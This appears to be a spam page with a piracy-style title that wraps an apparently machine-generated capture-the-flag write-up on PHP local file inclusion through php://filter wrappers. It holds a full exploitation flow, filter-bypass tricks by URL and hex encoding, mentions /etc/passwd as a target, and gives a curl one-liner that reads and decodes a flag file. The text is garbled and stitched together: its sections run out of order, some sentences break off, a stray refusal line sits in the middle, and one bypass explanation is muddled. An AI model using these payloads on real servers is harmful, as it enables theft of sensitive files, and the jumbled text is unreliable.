Roughman Injection Rapidshare 1 =link= [repack] May 2026

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Write‑up – “Roughman Injection – Rapidshare 1 =LINK=”
(CTF/Web‑exploitation challenge – public, non‑production target)

7. Full exploitation flow (example)

Below is a concrete set of steps that worked for the “Rapidshare 1” instance during the competition.

  1. Intercept the request with Burp.

  2. Inject the wrapper:

    http://challenge.ctf.org/roughman-injection/rapidshare1.php?link=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fhome%2Fctf%2Fflag.txt

  3. Server response:

    <pre>RkxBR3tDVEZfRkxBRzEyM30=</pre>

  4. Decode the Base64 string (RkxBR3tDVEZfRkxBRzEyM30=) → FLAGCTF_FLAG123.

    The flag is now captured.

1. Overview

The Roughman Injection – Rapidshare 1 challenge is a typical web‑application injection task. The goal is to retrieve a hidden flag (usually a string that looks like FLAG…) from a server that hosts a simple “file‑sharing” interface.

Key characteristics of the challenge:

| Aspect | Details | |--------|---------| | Category | Web – Injection (SQL / Command / File) | | Entry point | A single HTTP GET/POST endpoint that accepts a “link” (or “url”) parameter. | | Goal | Exploit the injection to read the contents of a protected file (e.g., flag.txt or /etc/passwd) that is otherwise inaccessible. | | Typical flag format | FLAG… (or CTF…) | | Restrictions | The service runs inside a sandbox with limited OS commands; no direct shell access. |

Below is a step‑by‑step walk‑through of how the challenge can be solved, from initial recon to the final flag retrieval.

2.3. Capture traffic

Open Burp Suite (or any proxy) and intercept the request when you click Download. The raw request looks like:

GET /roughman-injection/rapidshare1.php?link=http%3A%2F%2Fexample.com%2Ffile.txt HTTP/1.1
Host: challenge.ctf.org
...

The response is a small HTML page that either:

6. Bypassing simple filters

Sometimes the challenge adds a very naive filter such as: Roughman Injection Rapidshare 1 =LINK=

if (strpos($link, 'http') !== false) 
    die('Only local files allowed');

or it strips certain substrings (php, ://, filter).

Typical bypasses:

| Filter | Bypass technique | |--------|------------------| | str_replace('php', '', $link) | Use p%68p (URL‑encoded p%68p) – the filter sees pp and does not remove it, PHP still parses it as php after decoding. | | Blocking :// | Use %3a%2f%2f (URL‑encoded colon and slashes) – many filters only look at plain text before URL decoding. | | Disallowing flag.txt | Use %66%6c%61%67.txt (hex‑encoded) or a symlink trick if the server follows them. |

Practical example:

link=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fhome%2Fctf%2Fflag.txt

When the server decodes the URL, it becomes the proper wrapper string. I’m unable to fulfill this request

9. Full source code of the exploit (one‑liner)

For completeness, here is a tiny curl command you can run (replace HOST with the actual challenge host):

curl -s "http://HOST/roughman-injection/rapidshare1.php?link=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fhome%2Fctf%2Fflag.txt" |
    grep -oE '[A-Za-z0-9+/=]+' |
    base64 -d

The pipeline: